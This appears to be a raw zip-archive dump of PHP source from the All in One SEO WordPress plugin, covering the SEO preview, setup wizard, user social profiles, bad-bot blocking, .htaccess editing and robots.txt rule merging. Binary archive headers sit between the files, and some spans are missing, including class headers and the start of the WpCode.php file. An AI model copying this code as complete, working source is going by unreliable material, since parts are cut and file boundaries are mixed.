$queriedObject->taxonomy ); } else { $wpObject = aioseo()->helpers->getPost(); if ( is_a( $wpObject, 'WP_Post' ) ) { $labels = get_post_type_labels( get_post_type_object( $wpObject->post_type ) ); $editObjectUrl = get_edit_post_link( $wpObject, 'url' ); if ( ! aioseo()->helpers->isSpecialPage( $wpObject->ID ) && 'attachment' !== $templateType ) { $aioseoPost = Models\Post::getPost( $wpObject->ID ); $pageAnalysis = ! empty( $aioseoPost->page_analysis ) ? json_decode( $aioseoPost->page_analysis ) : [ 'analysis' => [] ]; $keyphrases = Models\Post::getKeyphrasesDefaults( $aioseoPost->keyphrases ); } } } // At this point if `$wpObject` is not an instance of WP_Term nor WP_Post, then we can't have the URLs. if ( is_object( $wpObject ) && is_object( $labels ) ) { $editObjectBtnText = sprintf( // Translators: 1 - A noun for something that's being edited ("Post", "Page", "Article", "Product", etc.). esc_html__( 'Edit %1$s', 'all-in-one-seo-pack' ), $labels->singular_name ); $editGoogleSnippetUrl = $this->getEditSnippetUrl( $templateType, 'google', $wpObject ); $editFacebookSnippetUrl = $this->getEditSnippetUrl( $templateType, 'facebook', $wpObject ); $editTwitterSnippetUrl = $this->getEditSnippetUrl( $templateType, 'twitter', $wpObject ); } } elseif ( 'archive' === $templateType || 'author' === $templateType || 'date' === $templateType || 'search' === $templateType ) { if ( is_a( $queriedObject, 'WP_User' ) ) { $editObjectUrl = get_edit_user_link( $queriedObject->ID ); $editObjectBtnText = esc_html__( 'Edit User', 'all-in-one-seo-pack' ); } $editGoogleSnippetUrl = $this->getEditSnippetUrl( $templateType, 'google' ); } elseif ( 'dynamic_home' === $templateType ) { $editGoogleSnippetUrl = $this->getEditSnippetUrl( $templateType, 'google' ); $editFacebookSnippetUrl = $this->getEditSnippetUrl( $templateType, 'facebook' ); $editTwitterSnippetUrl = $this->getEditSnippetUrl( $templateType, 'twitter' ); } return [ 'editGoogleSnippetUrl' => isset( $editGoogleSnippetUrl ) ? $editGoogleSnippetUrl : '', 'editFacebookSnippetUrl' => isset( $editFacebookSnippetUrl ) ? $editFacebookSnippetUrl : '', 'editTwitterSnippetUrl' => isset( $editTwitterSnippetUrl ) ? $editTwitterSnippetUrl : '', 'editObjectBtnText' => isset( $editObjectBtnText ) ? $editObjectBtnText : '', 'editObjectUrl' => isset( $editObjectUrl ) ? $editObjectUrl : '', 'keyphrases' => isset( $keyphrases ) ? $keyphrases : '', 'page_analysis' => isset( $pageAnalysis ) ? $pageAnalysis : '', 'urls' => [ 'home' => home_url(), 'domain' => aioseo()->helpers->getSiteDomain(), 'mainSiteUrl' => aioseo()->helpers->getSiteUrl(), ], 'mainAssetCssQueue' => aioseo()->core->assets->getJsAssetCssQueue( $this->mainAssetRelativeFilename ), 'data' => [ 'isDev' => aioseo()->helpers->isDev() ] ]; } /** * Get the URL to the place where the snippet details can be edited. * * @since 4.2.8 * * @param string $templateType The WP template type {@see WpContext::getTemplateType}. * @param string $snippet 'google', 'facebook' or 'twitter'. * @param \WP_Post|\WP_Term|null $object Post or term object. * @return string The URL. Returns an empty string if nothing matches. */ private function getEditSnippetUrl( $templateType, $snippet, $object = null ) { $url = ''; // Bail if `$snippet` doesn't fit requirements. if ( ! in_array( $snippet, [ 'google', 'facebook', 'twitter' ], true ) ) { return $url; } // If we're in a post/page/term (not an attachment) we'll have a URL directly to the meta box. if ( in_array( $templateType, [ 'single', 'page', 'attachment', 'taxonomy' ], true ) ) { $url = 'taxonomy' === $templateType ? get_edit_term_link( $object, $object->taxonomy ) . '#aioseo-term-settings-field' : get_edit_post_link( $object, 'url' ) . '#aioseo-settings'; $queryArgs = [ 'aioseo-tab' => 'general' ]; if ( in_array( $snippet, [ 'facebook', 'twitter' ], true ) ) { $queryArgs = [ 'aioseo-tab' => 'social', 'social-tab' => $snippet ]; } return add_query_arg( $queryArgs, $url ); } // If we're in any sort of archive let's point to the global archive editing. if ( in_array( $templateType, [ 'archive', 'author', 'date', 'search' ], true ) ) { return admin_url( 'admin.php?page=aioseo-search-appearance' ) . '#/archives'; } // If homepage is set to show the latest posts let's point to the global home page editing. if ( 'dynamic_home' === $templateType ) { // Default `$url` for 'google' snippet. $url = add_query_arg( [ 'aioseo-scroll' => 'home-page-settings' ], admin_url( 'admin.php?page=aioseo-search-appearance' ) . '#/global-settings' ); if ( in_array( $snippet, [ 'facebook', 'twitter' ], true ) ) { $url = admin_url( 'admin.php?page=aioseo-social-networks' ) . '#/' . $snippet; } return $url; } return $url; } /** * Returns the "SEO Preview" submenu item data ("node" as WP calls it). * * @since 4.2.8 * * @return array The admin bar menu item data or an empty array if this feature is disabled. */ public function getAdminBarMenuItemNode() { if ( ! $this->enable ) { return []; } $title = esc_html__( 'SEO Preview', 'all-in-one-seo-pack' ); // @TODO Remove 'NEW' after a couple months. $title .= ''; $title .= esc_html__( 'NEW', 'all-in-one-seo-pack' ) . '!'; $title .= ''; return [ 'id' => 'aioseo-seo-preview', 'parent' => 'aioseo-main', 'title' => $title, 'href' => '#', ]; } }PKÉ—[wŸË0UU9all-in-one-seo-pack/app/Common/Standalone/SetupWizard.phpnu„[µü¤core->cache->get( 'activation_redirect' ) ) { return; } // If we are redirecting, clear the transient so it only happens once. aioseo()->core->cache->delete( 'activation_redirect' ); // Check option to disable welcome redirect. if ( get_option( 'aioseo_activation_redirect', false ) ) { return; } // Only do this for single site installs. if ( isset( $_GET['activate-multi'] ) || is_network_admin() ) { // phpcs:ignore HM.Security.NonceVerification.Recommended return; } wp_safe_redirect( admin_url( 'index.php?page=aioseo-setup-wizard' ) ); exit; } /** * Adds a dashboard page for our setup wizard. * * @since 4.0.0 * * @return void */ public function addDashboardPage() { add_dashboard_page( '', '', aioseo()->admin->getPageRequiredCapability( 'aioseo-setup-wizard' ), 'aioseo-setup-wizard', '' ); } /** * Hide the dashboard page from the menu. * * @since 4.1.5 * * @return void */ public function hideDashboardPageFromMenu() { remove_submenu_page( 'index.php', 'aioseo-setup-wizard' ); } /** * Checks to see if we should load the setup wizard. * * @since 4.0.0 * * @return void */ public function maybeLoadOnboardingWizard() { // Don't load the interface if doing an ajax call. if ( wp_doing_ajax() || wp_doing_cron() ) { return; } // Check for wizard-specific parameter // Allow plugins to disable the setup wizard // Check if current user is allowed to save settings. if ( ! isset( $_GET['page'] ) || // phpcs:ignore HM.Security.NonceVerification.Recommended 'aioseo-setup-wizard' !== sanitize_text_field( wp_unslash( $_GET['page'] ) ) || // phpcs:ignore HM.Security.NonceVerification.Recommended ! current_user_can( aioseo()->admin->getPageRequiredCapability( 'aioseo-setup-wizard' ) ) ) { return; } set_current_screen(); // Remove an action in the Gutenberg plugin ( not core Gutenberg ) which throws an error. remove_action( 'admin_print_styles', 'gutenberg_block_editor_admin_print_styles' ); // If we are redirecting, clear the transient so it only happens once. aioseo()->core->cache->delete( 'activation_redirect' ); $this->loadOnboardingWizard(); } /** * Load the Onboarding Wizard template. * * @since 4.0.0 * * @return void */ private function loadOnboardingWizard() { $this->enqueueScripts(); $this->setupWizardHeader(); $this->setupWizardContent(); $this->setupWizardFooter(); exit; } /** * Enqueue's scripts for the setup wizard. * * @since 4.0.0 * * @return void */ public function enqueueScripts() { // We don't want any plugin adding notices to our screens. Let's clear them out here. remove_all_actions( 'admin_notices' ); remove_all_actions( 'all_admin_notices' ); aioseo()->core->assets->load( 'src/vue/standalone/setup-wizard/main.js', [], aioseo()->helpers->getVueData( 'setup-wizard' ) ); aioseo()->main->enqueueTranslations(); wp_enqueue_style( 'common' ); wp_enqueue_media(); } /** * Outputs the simplified header used for the Onboarding Wizard. * * @since 4.0.0 * * @return void */ public function setupWizardHeader() { ?> > <?php // Translators: 1 - The plugin name ("All in One SEO"). echo sprintf( esc_html__( '%1$s › Onboarding Wizard', 'all-in-one-seo-pack' ), esc_html( AIOSEO_PLUGIN_SHORT_NAME ) ); ?> '; aioseo()->templates->getTemplate( 'admin/settings-page.php' ); echo '
    '; } /** * Outputs the simplified footer used for the Onboarding Wizard. * * @since 4.0.0 * * @return void */ public function setupWizardFooter() { ?> internalOptions->internal->wizard; $wizard = json_decode( $wizard ); if ( ! $wizard ) { return false; } $totalStageCount = count( $wizard->stages ); $currentStageCount = array_search( $wizard->currentStage, $wizard->stages, true ); // If not found, let's assume it's completed. if ( false === $currentStageCount ) { return true; } return $currentStageCount + 1 === $totalStageCount; } }PKÉ—[ãac0šš8all-in-one-seo-pack/app/Common/Standalone/Standalone.phpnu„[µü¤headlineAnalyzer = new HeadlineAnalyzer(); $this->flyoutMenu = new FlyoutMenu(); $this->seoPreview = new SeoPreview(); $this->setupWizard = new SetupWizard(); $this->primaryTerm = aioseo()->pro ? new ProStandalone\PrimaryTerm() : new PrimaryTerm(); $this->userProfileTab = new UserProfileTab(); aioseo()->pro ? new ProStandalone\DetailsColumn() : new DetailsColumn(); new UserProfileTab(); new PublishPanel(); new LimitModifiedDate(); new Notifications(); new WpCode(); $this->pageBuilderIntegrations = [ 'elementor' => new PageBuilders\Elementor(), 'divi' => new PageBuilders\Divi(), 'seedprod' => new PageBuilders\SeedProd(), 'wpbakery' => new PageBuilders\WPBakery(), 'avada' => new PageBuilders\Avada() ]; $this->standaloneBlocks = [ 'tocBlock' => new Blocks\TableOfContents(), 'faqBlock' => new Blocks\FaqPage() ]; } }PKÉ—[!çS‹<all-in-one-seo-pack/app/Common/Standalone/UserProfileTab.phpnu„[µü¤helpers->getCurrentScreen(); if ( empty( $screen->id ) ) { return; } if ( ! in_array( $screen->id, [ 'user-edit', 'profile' ], true ) ) { if ( 'follow-up_page_followup-emails-reports' === $screen->id ) { aioseo()->core->assets->load( 'src/vue/standalone/user-profile-tab/follow-up-emails-nav-bar.js' ); } return; } global $user_id; if ( ! intval( $user_id ) ) { return; } aioseo()->core->assets->load( 'src/vue/standalone/user-profile-tab/main.js', [], $this->getVueData() ); } /** * Returns the data Vue requires. * * @since 4.2.2 * * @return array */ public function getVueData() { global $user_id; $socialProfiles = $this->getSocialProfiles(); foreach ( $socialProfiles as $platformKey => $v ) { $metaName = 'aioseo_' . aioseo()->helpers->toSnakeCase( $platformKey ); $socialProfiles[ $platformKey ] = get_user_meta( $user_id, $metaName, true ); } $sameUsername = get_user_meta( $user_id, 'aioseo_profiles_same_username', true ); if ( empty( $sameUsername ) ) { $sameUsername = [ 'enable' => false, 'username' => '', 'included' => [ 'facebookPageUrl', 'twitterUrl', 'tiktokUrl', 'pinterestUrl', 'instagramUrl', 'youtubeUrl', 'linkedinUrl' ] // Same as in Options.php. ]; } $additionalurls = get_user_meta( $user_id, 'aioseo_profiles_additional_urls', true ); $extraVueData = [ 'userProfile' => [ 'userData' => get_userdata( $user_id )->data, 'profiles' => [ 'sameUsername' => $sameUsername, 'urls' => $socialProfiles, 'additionalUrls' => $additionalurls ], 'isWooCommerceFollowupEmailsActive' => aioseo()->helpers->isWooCommerceFollowupEmailsActive() ] ]; $vueData = aioseo()->helpers->getVueData(); $vueData = array_merge( $vueData, $extraVueData ); return $vueData; } /** * Updates the user social profile URLs when a user's profile is updated. * * @since 4.2.2 * * @param int $userId The user ID. * @return void */ public function updateUserSocialProfiles( $userId ) { if ( empty( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'update-user_' . $userId ) ) { return; } if ( empty( $_POST['aioseo-user-social-profiles'] ) ) { return; } $data = json_decode( sanitize_text_field( wp_unslash( $_POST['aioseo-user-social-profiles'] ) ), true ); if ( empty( $data ) ) { return; } $sanitizedIncluded = []; foreach ( $data['sameUsername']['included'] as $platformKey ) { $sanitizedIncluded[] = sanitize_text_field( $platformKey ); } $sanitizedSameUsernameData = [ 'enable' => (bool) $data['sameUsername']['enable'], 'username' => sanitize_text_field( $data['sameUsername']['username'] ), 'included' => array_filter( $sanitizedIncluded ) ]; update_user_meta( $userId, 'aioseo_profiles_same_username', $sanitizedSameUsernameData ); foreach ( $data['urls'] as $platformKey => $value ) { $value = sanitize_text_field( $value ); $metaName = 'aioseo_' . aioseo()->helpers->toSnakeCase( $platformKey ); update_user_meta( $userId, $metaName, $value ); } $additionalUrls = sanitize_text_field( $data['additionalUrls'] ); $sanitizedAdditionalUrls = preg_replace( '/\h/', "\n", $additionalUrls ); update_user_meta( $userId, 'aioseo_profiles_additional_urls', $sanitizedAdditionalUrls ); } /** * Returns a list of supported social profiles. * * @since 4.2.2 * * @return array */ public function getSocialProfiles() { return [ 'facebookPageUrl' => '', 'twitterUrl' => '', 'instagramUrl' => '', 'tiktokUrl' => '', 'pinterestUrl' => '', 'youtubeUrl' => '', 'linkedinUrl' => '', 'tumblrUrl' => '', 'yelpPageUrl' => '', 'soundCloudUrl' => '', 'wikipediaUrl' => '', 'myspaceUrl' => '' ]; } }PKÉ—[GÉìì4all-in-one-seo-pack/app/Common/Standalone/WpCode.phpnu„[µü¤options->deprecated->tools->blocker->blockBots ) { $uploadDirectory = wp_upload_dir(); $logDirectory = $uploadDirectory['basedir'] . '/aioseo/logs/'; if ( wp_mkdir_p( $logDirectory ) ) { $fs = aioseo()->core->fs; $filePath = $logDirectory . 'aioseo-bad-bot-blocker.log'; if ( ! $fs->exists( $filePath ) ) { $fs->touch( $filePath ); } if ( $fs->exists( $filePath ) ) { $this->log = new \AIOSEO\Vendor\Monolog\Logger( 'aioseo-bad-bot-blocker' ); $this->log->pushHandler( new \AIOSEO\Vendor\Monolog\Handler\StreamHandler( $filePath ) ); } } $blockReferer = aioseo()->options->deprecated->tools->blocker->blockReferer; $track = aioseo()->options->deprecated->tools->blocker->track; $ip = ! empty( $_SERVER['REMOTE_ADDR'] ) ? $_SERVER['REMOTE_ADDR'] : ''; $ip = aioseo()->helpers->validateIp( $ip ) ? $ip : __( '(Invalid IP)', 'all-in-one-seo-pack' ); if ( ! $this->allowBot() ) { if ( $track ) { $userAgent = $_SERVER['HTTP_USER_AGENT']; // Translators: 1 - The IP address. 2 - The user agent. $this->track( sprintf( __( 'Blocked bot with IP %1$s -- matched user agent %2$s found in blocklist.', 'all-in-one-seo-pack' ), $ip, $userAgent ) ); } status_header( 503 ); exit; } elseif ( $blockReferer && $this->isBadReferer() ) { status_header( 503 ); if ( $track ) { $referer = ! empty( $_SERVER['HTTP_REFERER'] ) ? esc_url_raw( wp_unslash( $_SERVER['HTTP_REFERER'] ) ) : ''; // Translators: 1 - The IP address. 2 - The referer. $this->track( sprintf( __( 'Blocked bot with IP %1$s -- matched referer %2$s found in blocklist.', 'all-in-one-seo-pack' ), $ip, $referer ) ); } status_header( 503 ); exit; } } } /** * Get the size of the log file. * * @since 4.0.0 * * @return integer The size of the log file. */ public function getLogSize() { $uploadDirectory = wp_upload_dir(); $logDirectory = $uploadDirectory['basedir'] . '/aioseo/logs/'; $filePath = $logDirectory . 'aioseo-bad-bot-blocker.log'; $fs = aioseo()->core->fs; if ( $fs->exists( $filePath ) ) { return $fs->size( $filePath ); } return 0; } /** * Clears the log for the bad bot blocker. * * @since 4.0.0 * * @return integer The file size. */ public function clearLog() { $uploadDirectory = wp_upload_dir(); $logDirectory = $uploadDirectory['basedir'] . '/aioseo/logs/'; $filePath = $logDirectory . 'aioseo-bad-bot-blocker.log'; $fs = aioseo()->core->fs; if ( $fs->exists( $filePath ) ) { $fs->putContents( $filePath, '' ); } return $this->getLogSize(); } /** * Returns the bot list. * * @since 4.0.0 * * @return array The bot list. */ public function getBotList() { return $this->botList; } /** * Returns the referer list. * * @since 4.0.0 * * @return array The referer list. */ public function getRefererList() { return $this->refererList; } /** * Whether or not to allow the bot through. * * @since 4.0.0 * * @return boolean True if this is a good bot and we can allow it through. */ private function allowBot() { $allow = true; if ( ! $this->isGoodBot() && $this->isBadBot() && ! is_user_logged_in() ) { $allow = false; } return apply_filters( 'aioseo_allow_bot', $allow ); } /** * Is this a good bot? * * @see Original code, thanks to Sean M. Brown. * @link http://smbrown.wordpress.com/2009/04/29/verify-googlebot-forward-reverse-dns/ * * @since 4.0.0 * * @return boolean True if this is a good bot. */ private function isGoodBot() { $botList = [ 'Yahoo! Slurp' => 'crawl.yahoo.net', 'googlebot' => '.googlebot.com', 'msnbot' => 'search.msn.com', ]; $botList = apply_filters( 'aioseo_good_bot_list', $botList ); if ( ! empty( $botList ) ) { if ( ! isset( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = $_SERVER['HTTP_USER_AGENT']; $uas = $this->prepareList( $botList ); if ( preg_match( '/' . $uas . '/i', $ua ) ) { $ip = $_SERVER['REMOTE_ADDR']; $hostname = gethostbyaddr( $ip ); $ipByHostName = gethostbyname( $hostname ); if ( $ipByHostName === $ip ) { $hosts = array_values( $botList ); foreach ( $hosts as $k => $h ) { $hosts[ $k ] = preg_quote( $h ) . '$'; } $hosts = join( '|', $hosts ); if ( preg_match( '/' . $hosts . '/i', $hostname ) ) { return true; } } } } return false; } /** * Is this a bad bot? * * @since 4.0.0 * * @return boolean True if it is a bad bot. */ private function isBadBot() { $botList = aioseo()->options->deprecated->tools->blocker->custom->enable ? explode( "\n", aioseo()->options->deprecated->tools->blocker->custom->bots ) : $this->botList; $botList = apply_filters( 'aioseo_bad_bot_list', $botList ); if ( ! empty( $botList ) ) { if ( ! isset( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $ua = $_SERVER['HTTP_USER_AGENT']; $uas = $this->prepareList( $botList ); if ( preg_match( '/' . $uas . '/i', $ua ) ) { return true; } } return false; } /** * Is this a bad referer? * * @since 4.0.0 * * @return boolean True if this is a bad referer. */ private function isBadReferer() { $refererList = aioseo()->options->deprecated->tools->blocker->custom->enable ? explode( "\n", aioseo()->options->deprecated->tools->blocker->custom->referer ) : $this->refererList; $refererList = apply_filters( 'aioseo_bad_referer_list', $refererList ); if ( ! empty( $refererList ) && ! empty( $_SERVER ) && ! empty( $_SERVER['HTTP_REFERER'] ) ) { $referer = esc_url_raw( wp_unslash( $_SERVER['HTTP_REFERER'] ) ); $regex = $this->prepareList( $refererList ); if ( preg_match( '/' . $regex . '/i', $referer ) ) { return true; } } return false; } /** * Quote List for Regex * * @since 4.0.0 * * @param $list * @param string $quote * @return string */ private function prepareList( $list, $quote = '/' ) { $regex = ''; $cont = 0; foreach ( $list as $l ) { $trim_l = trim( $l ); if ( ! empty( $trim_l ) ) { if ( $cont ) { $regex .= '|'; } $cont = 1; $regex .= preg_quote( trim( $l ), $quote ); } } return $regex; } /** * Tracks the bad bot that was blocked. * * @since 4.0.0 * * @param string $message The message to log. * @return void */ public function track( $message ) { if ( $this->log ) { $this->log->info( $message ); } } }PKÉ—[‡}CBÐÐ1all-in-one-seo-pack/app/Common/Tools/Htaccess.phpnu„[µü¤path = ABSPATH . '.htaccess'; } /** * Get the contents of the .htaccess file. * * @since 4.0.0 * * @return string The contents of the file. */ public function getContents() { $fs = aioseo()->core->fs; if ( ! $fs->exists( $this->path ) ) { return false; } $contents = $fs->getContents( $this->path ); return aioseo()->helpers->encodeOutputHtml( $contents ); } /** * Saves the contents of the .htaccess file. * * @since 4.0.0 * * @param string $contents The contents to write. * @return boolean True if the file was updated. */ public function saveContents( $contents ) { $fs = aioseo()->core->fs; if ( ! $fs->isWritable( $this->path ) ) { return [ 'success' => false, 'reason' => 'file-not-writable', 'message' => __( 'We were unable to save the .htaccess file because the file was not writable. Please check the file permissions and try again.', 'all-in-one-seo-pack' ) ]; } $fileExists = $fs->exists( $this->path ); $originalContents = $fileExists ? $fs->getContents( $this->path ) : null; $fileSaved = $fs->putContents( $this->path, $contents ); if ( false === $fileSaved ) { return [ 'success' => false, 'reason' => 'file-not-saved' ]; } $response = wp_remote_get( home_url( '?' . time() ) ); $isValidRequest = wp_remote_retrieve_response_code( $response ); if ( // Add an exception for Windows devs since the request fails in Local. ! defined( 'AIOSEO_DEV_WINDOWS' ) && ( is_wp_error( $response ) || 200 !== $isValidRequest ) ) { $fs->putContents( $this->path, $originalContents ); return [ 'success' => false, 'reason' => 'syntax-errors', 'message' => __( 'We were unable to save the .htaccess file due to syntax errors. Please check the code below and try again.', 'all-in-one-seo-pack' ) ]; } return [ 'success' => true ]; } }PKÉ—[”ßHí¿E¿E2all-in-one-seo-pack/app/Common/Tools/RobotsTxt.phpnu„[µü¤extractRules( $original ); $networkRules = []; if ( is_multisite() ) { $networkRules = aioseo()->networkOptions->tools->robots->enable ? aioseo()->networkOptions->tools->robots->rules : []; } if ( ! aioseo()->options->tools->robots->enable ) { $ruleset = $this->mergeRules( $originalRules, $this->groupRulesByUserAgent( $networkRules ) ); } else { $ruleset = $this->mergeRules( $originalRules, $this->mergeRules( $this->groupRulesByUserAgent( $networkRules ), $this->groupRulesByUserAgent( aioseo()->options->tools->robots->rules ) ), true ); } /** * Any plugin can wrongly modify the robots.txt output by hoking into the `do_robots` action hook, * instead of hooking into the `robots_txt` filter hook. * For the first scenario, to make sure our output doesn't conflict with theirs, a new line is necessary. */ return $this->stringifyRuleset( $ruleset ) . "\n"; } /** * Merges two rulesets. * * @since 4.0.0 * @version 4.4.2 * * @param array $rules1 An array of rules to merge with. * @param array $rules2 An array of rules to merge. * @param boolean $allowOverride Whether to allow overriding. * @param boolean $allowDuplicates Whether to allow duplicates. * @return array The validated rules. */ private function mergeRules( $rules1, $rules2, $allowOverride = false, $allowDuplicates = false ) { foreach ( $rules2 as $userAgent => $rules ) { if ( empty( $userAgent ) ) { continue; } if ( empty( $rules1[ $userAgent ] ) ) { $rules1[ $userAgent ] = array_unique( $rules2[ $userAgent ] ); continue; } list( $rules1, $rules2 ) = $this->mergeRulesHelper( 'allow', $userAgent, $rules, $rules1, $rules2, $allowDuplicates, $allowOverride ); list( $rules1, $rules2 ) = $this->mergeRulesHelper( 'disallow', $userAgent, $rules, $rules1, $rules2, $allowDuplicates, $allowOverride ); $rules1[ $userAgent ] = array_unique( array_merge( $rules1[ $userAgent ], $rules2[ $userAgent ] ) ); } return $rules1; } /** * Helper function for {@see mergeRules()}. * * @since 4.1.2 * @version 4.4.2 * * @param string $directive The directive (allow/disallow). * @param string $userAgent The user agent. * @param array $rules The rules. * @param array $rules1 The original rules. * @param array $rules2 The extra rules. * @param bool $allowDuplicates Whether duplicates should be allowed * @param bool $allowOverride Whether the extra rules can override the original ones. * @return array The original and extra rules. */ private function mergeRulesHelper( $directive, $userAgent, $rules, $rules1, $rules2, $allowDuplicates, $allowOverride ) { $otherDirective = ( 'allow' === $directive ) ? 'disallow' : 'allow'; foreach ( $rules as $index1 => $rule ) { list( , $ruleValue ) = $this->parseRule( $rule ); $index2 = array_search( "$otherDirective: $ruleValue", $rules1[ $userAgent ], true ); if ( false !== $index2 && ! $allowDuplicates ) { if ( $allowOverride ) { unset( $rules1[ $userAgent ][ $index2 ] ); } else { unset( $rules2[ $userAgent ][ $index1 ] ); } } $pattern = str_replace( [ '.', '*', '?', '$' ], [ '\.', '(.*)', '\?', '\$' ], $ruleValue ); foreach ( $rules1[ $userAgent ] as $rule1 ) { $matches = []; preg_match( "#^$otherDirective: $pattern$#", $rule1, $matches ); } if ( ! empty( $matches ) && ! $allowDuplicates ) { unset( $rules2[ $userAgent ][ $index1 ] ); } } return [ $rules1, $rules2 ]; } /** * Parses a rule and extracts the directive and value. * * @since 4.4.2 * * @param string $rule The rule to parse. * @return array An array containing the parsed directive and value. */ private function parseRule( $rule ) { list( $directive, $value ) = array_map( 'trim', array_pad( explode( ':', $rule, 2 ), 2, '' ) ); return [ $directive, $value ]; } /** * Stringifies the parsed rules. * * @since 4.0.0 * @version 4.4.2 * * @param array $allRules The rules array. * @return string The stringified rules. */ private function stringifyRuleset( $allRules ) { $robots = []; foreach ( $allRules as $userAgent => $rules ) { if ( empty( $userAgent ) ) { continue; } $robots[] = "\r\nUser-agent: $userAgent"; foreach ( $rules as $rule ) { list( $directive, $value ) = $this->parseRule( $rule ); if ( empty( $directive ) || empty( $value ) ) { continue; } $robots[] = sprintf( '%s: %s', ucfirst( $directive ), $value ); } } $robots = implode( "\r\n", $robots ); $sitemapUrls = $this->getSitemapRules(); if ( ! empty( $sitemapUrls ) ) { $sitemapUrls = implode( "\r\n", $sitemapUrls ); $robots .= "\r\n\r\n$sitemapUrls"; } return trim( $robots ); } /** * Get Sitemap URLs excluding the default ones. * * @since 4.1.7 * * @return array An array of the Sitemap URLs. */ private function getSitemapRules() { $defaultSitemaps = $this->extractSitemapUrls( aioseo()->robotsTxt->getDefaultRobotsTxtContent() ); $sitemapRules = aioseo()->sitemap->helpers->getSitemapUrls(); return array_diff( $sitemapRules, $defaultSitemaps ); } /** * Parses the rules. * * @since 4.0.0 * @version 4.4.2 * * @param array $rules An array of rules. * @return array The rules grouped by user agent. */ private function groupRulesByUserAgent( $rules ) { $groups = []; foreach ( $rules as $rule ) { $r = json_decode( $rule, true ); if ( empty( $r['userAgent'] ) || empty( $r['fieldValue'] ) ) { continue; } if ( empty( $groups[ $r['userAgent'] ] ) ) { $groups[ $r['userAgent'] ] = []; } $groups[ $r['userAgent'] ][] = "{$r['directive']}: {$r['fieldValue']}"; } return $groups; } /** * Extract rules from a string. * * @since 4.0.0 * @version 4.4.2 * * @param string $lines The lines to extract from. * @return array An array of extracted rules. */ public function extractRules( $lines ) { $lines = array_filter( array_map( 'trim', explode( "\n", (string) $lines ) ) ); $rules = []; $userAgent = null; $prevDirective = null; $prevValue = null; $siblingsUserAgents = []; foreach ( $lines as $line ) { list( $directive, $value ) = $this->parseRule( $line ); if ( empty( $directive ) || empty( $value ) ) { continue; } $directive = strtolower( $directive ); if ( ! in_array( $directive, $this->allowedDirectives, true ) ) { continue; } $value = $this->sanitizeDirectiveValue( $directive, $value ); if ( ! $value ) { continue; } if ( 'user-agent' === $directive ) { if ( ! empty( $prevDirective ) && ! empty( $prevValue ) && 'user-agent' === $prevDirective ) { $siblingsUserAgents[] = $prevValue; } $userAgent = $value; $rules[ $userAgent ] = []; } else { $rules[ $userAgent ][] = "$directive: $value"; if ( $siblingsUserAgents ) { foreach ( $siblingsUserAgents as $siblingUserAgent ) { $rules[ $siblingUserAgent ] = $rules[ $userAgent ]; } $siblingsUserAgents = []; } } $prevDirective = $directive; $prevValue = $value; } return $rules; } /** * Extract sitemap URLs from a string. * * @since 4.0.10 * * @param string $lines The lines to extract from. * @return array An array of sitemap URLs. */ public function extractSitemapUrls( $lines ) { $lines = array_filter( array_map( 'trim', explode( "\n", (string) $lines ) ) ); $sitemapUrls = []; foreach ( $lines as $line ) { $array = array_map( 'trim', explode( 'sitemap:', strtolower( $line ) ) ); if ( ! empty( $array[1] ) ) { $sitemapUrls[] = trim( $line ); } } return $sitemapUrls; } /** * Sanitize the robots.txt rule directive value. * * @since 4.0.0 * @version 4.4.2 * * @param string $directive The directive. * @param string $value The value. * @return string The directive value. */ private function sanitizeDirectiveValue( $directive, $value ) { // Percent-encoded characters are stripped from our option values, so we decode. $value = rawurldecode( trim( $value ) ); if ( ! $value ) { return $value; } $value = preg_replace( '/[><]/', '', $value ); if ( 'user-agent' === $directive ) { $value = preg_replace( '/[^a-z0-9\-_*,.\s]/i', '', $value ); } if ( 'allow' === $directive || 'disallow' === $directive ) { $value = preg_replace( '/^\/+/', '/', $value ); } return $value; } /** * Check if a physical robots.txt file exists, and if it does add a notice. * * @since 4.0.0 * * @return void */ public function checkForPhysicalFiles() { if ( ! $this->hasPhysicalRobotsTxt() ) { return; } $notification = Models\Notification::getNotificationByName( 'robots-physical-file' ); if ( $notification->exists() ) { return; } Models\Notification::addNotification( [ 'slug' => uniqid(), 'notification_name' => 'robots-physical-file', 'title' => __( 'Physical Robots.txt File Detected', 'all-in-one-seo-pack' ), 'content' => sprintf( // Translators: 1 - The plugin short name ("AIOSEO"), 2 - The plugin short name ("AIOSEO"). __( '%1$s has detected a physical robots.txt file in the root folder of your WordPress installation. We recommend removing this file as it could cause conflicts with WordPress\' dynamically generated one. %2$s can import this file and delete it, or you can simply delete it.', 'all-in-one-seo-pack' ), // phpcs:ignore Generic.Files.LineLength.MaxExceeded AIOSEO_PLUGIN_SHORT_NAME, AIOSEO_PLUGIN_SHORT_NAME ), 'type' => 'error', 'level' => [ 'all' ], 'button1_label' => __( 'Import and Delete', 'all-in-one-seo-pack' ), 'button1_action' => 'http://action#tools/import-robots-txt?redirect=aioseo-tools:robots-editor', 'button2_label' => __( 'Delete', 'all-in-one-seo-pack' ), 'button2_action' => 'http://action#tools/delete-robots-txt?redirect=aioseo-tools:robots-editor', 'start' => gmdate( 'Y-m-d H:i:s' ) ] ); } /** * Import physical robots.txt file. * * @since 4.0.0 * @version 4.4.2 * * @param bool $network True if inside WordPress network administration pages. * @throws \Exception If request fails or file is not readable. * @return boolean Whether or not the file imported correctly. */ public function importPhysicalRobotsTxt( $network = false ) { try { $fs = aioseo()->core->fs; if ( ! $fs->isWpfsValid() ) { $invalid = true; } $file = trailingslashit( $fs->fs->abspath() ) . 'robots.txt'; if ( isset( $invalid ) || ! $fs->isReadable( $file ) ) { throw new \Exception( esc_html__( 'There was an error importing the static robots.txt file.', 'all-in-one-seo-pack' ) ); } $lines = trim( (string) $fs->getContents( $file ) ); if ( $lines ) { $this->importRobotsTxtFromText( $lines, $network ); } return true; } catch ( \Exception $e ) { throw new \Exception( esc_html( $e->getMessage() ) ); } } /** * Import robots.txt from a URL. * * @since 4.4.2 * * @param string $text The text to import from. * @param bool $network True if inside WordPress network administration pages. * @throws \Exception If no User-agent is found. * @return boolean Whether the file imported correctly or not. */ public function importRobotsTxtFromText( $text, $network ) { $ruleset = $this->extractRules( $text ); if ( ! key( $ruleset ) ) { throw new \Exception( esc_html__( 'No User-agent found in the content beginning.', 'all-in-one-seo-pack' ) ); } $options = aioseo()->options; if ( $network ) { $options = aioseo()->networkOptions; } $currentRules = $this->groupRulesByUserAgent( $options->tools->robots->rules ); $ruleset = $this->mergeRules( $currentRules, $ruleset, false, 